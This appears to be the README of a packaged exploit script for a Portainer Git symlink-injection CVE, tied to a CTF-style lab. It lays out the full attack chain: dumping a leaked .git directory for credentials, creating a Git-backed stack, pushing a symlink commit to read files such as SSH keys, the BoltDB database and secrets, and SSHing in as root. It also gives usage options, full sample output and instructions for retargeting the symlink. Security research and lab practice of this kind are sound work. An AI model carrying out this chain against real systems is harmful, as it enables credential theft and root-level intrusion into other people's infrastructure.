
Single-script exploit for CVE-2026-44881, a Git symlink injection in Portainer's stack-deployment flow that lets any low-privilege authenticated user with stack-creation rights read arbitrary files reachable by the Portainer process.
Advisory: GHSA-rpgq-m5fp-32wr Affected: Portainer CE
2.33.0–2.33.7,2.39.0–2.39.1,2.40.xFixed in:2.33.8(LTS),2.39.2(LTS),2.41.0(STS)
The vulnerability is a combination of two primitives:
go-git v5 translates Git tree entries with mode 0o120000 (symlink) into real OS symlinks during git clone. The only blocklisted name is .gitmodules; every other path — including docker-compose.yml, which Portainer treats as the stack entry point — can be a symlink with an arbitrary relative target.Service.GetFileContent (api/filesystem/filesystem.go) reads the stack entry file with os.ReadFile, which transparently follows OS symlinks. JoinPaths prevents ../ in the input string but never calls filepath.EvalSymlinks, so a symlink already on disk happily resolves to its target.Portainer commonly runs as root inside its container (needed for the Docker socket), so the read primitive's reach is whatever the container can see — typically /data/portainer.db (BoltDB with every user's password hash + every API token), Kubernetes service-account tokens at /var/run/secrets/kubernetes.io/serviceaccount/token, Docker Swarm secrets at /run/secrets/, and — in deployments that bind-mount the host filesystem for monitoring — the host's /etc/shadow, /root/.ssh/*, and so on.
This script chains:
leaked .git on port 80
→ recover lowuser:password from commit history
→ Portainer login
→ create Git-backed stack with clean YAML (validation passes, stack persists)
→ push symlink commit, trigger /git/redeploy (validation fails, working tree IS updated)
→ GET /api/stacks/{id}/file (returns symlink target's content)
→ ssh -i stolen_key root@target
./exploit.sh -t 192.168.1.27
Auto-detects the attacker IP from ip addr and assumes .git is exposed at http://target/.git/. Override anything that doesn't match your environment:
-t, --target target IP (required)
-a, --attacker attacker IP advertised to Portainer for the git daemon (auto-detected)
-l, --leak-path path of the exposed .git directory (default: /.git)
-p, --portainer-port Portainer HTTP port (default: 9000)
-g, --git-port local git daemon port (default: 9418)
-w, --workdir working directory for scratch files (default: mktemp)
-u, --user skip .git enumeration; use this Portainer username
-P, --pass skip .git enumeration; use this Portainer password
--no-creds-from-git skip the .git stage and require -u/-P
--no-ssh skip the final SSH-in step
-h, --help show this help and exit
$ ./exploit.sh -t 192.168.1.27
[+] Target : http://192.168.1.27:9000
[+] Attacker IP : 192.168.1.34
[+] Workdir : /tmp/cve44881-xxxx
=== Stage 1 — dump leaked /.git and recover creds ===
[+] git-dumper found, running it...
[+] git history:
3a1f9e2 oops: remove creds from repo, rotate before prod
b4c20a6 add trial onboarding env (temp, will move to vault)
d09a875 init: portal landing + ops notes
[+] Recovered creds: lowuser / lowuser-c0ntain3r-2026
=== Stage 2 — Portainer auth ===
[+] JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[+] Endpoint ID: 1
=== Stage 3 — host the bait Git repo on git://192.168.1.34:9418/repo.git ===
[+] git daemon up (pid 12345)
=== Stage 4 — create the Git-backed stack (clean YAML) ===
[+] Stack ID: 1
=== Stage 5 — push symlink commit + trigger redeploy ===
[+] redeploy response: {"message":"stack config file is invalid: top-level object must be a mapping"}
=== Stage 6 — GET /api/stacks/1/file ===
[+] leaked private key saved to /tmp/cve44881-xxxx/stolen_id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----
=== Stage 7 — SSH in as root with leaked key ===
=== id ===
uid=0(root) gid=0(root) groups=0(root)
=== hostname ===
containerops
=== flag ===
b7d419c8a2f6e90315b7d419c8a2f6e9
=== Done — exploit complete ===
curl, jq, git (with git daemon), sshgit-dumper — pipx install git-dumper. The script ships a minimal built-in dumb-HTTP enumerator that handles the simple loose-object case if git-dumper is missing, but for any non-trivial leaked .git directory the full tool is much more reliable./:/mnt/host:ro and reads /mnt/host/root/.ssh/id_rsa. To target other files, edit the symlink target in Stage 5 (../../../mnt/host/root/.ssh/id_rsa). Portainer's go-billy chroot-jails absolute symlinks to the worktree, so the target must be relative..git are Portainer-scoped only — they don't grant SSH or any direct host access. The lab is wired so the only way to host-level RCE is through the CVE itself.{"message":"stack config file is invalid"} — this is the validator complaining that an SSH key isn't valid YAML. The clone has already overwritten the working tree by the time the validator runs, which is exactly what we need.MIT. For authorized testing and CTF / lab use only.